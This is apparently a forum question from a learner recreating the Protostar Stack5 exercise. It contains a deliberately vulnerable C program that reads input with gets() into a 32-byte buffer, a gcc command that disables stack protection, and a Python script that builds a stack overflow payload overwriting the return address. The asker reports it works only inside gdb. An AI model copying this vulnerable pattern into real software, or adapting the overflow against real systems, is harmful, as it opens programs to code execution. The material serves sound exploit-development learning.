Hello guys i want to create a similar file like Stack5 in protostar The only problem is that when i execute a shellcode , or just \xCC it only works in gdb.
The source code
#include<stdlib.h>
#include<unistd.h>
#include<stdio.h>
#include<string.h>
int main(int argc, char ** argv)
{
char container[32];
gets(container);
}
the command used to build the executable
gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -m32 -g binary1.c -o binary1
for example a \x90 interrupt
import struct
pad="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"
eip=struct.pack("I",0xffffd6a0+4)
payload="\x90"*12+"\xCC"*4+"\x90"*12
print pad+eip+payload
all the results i get are only segmentation fault ( dump)
Picture here for demonstration Image for comparison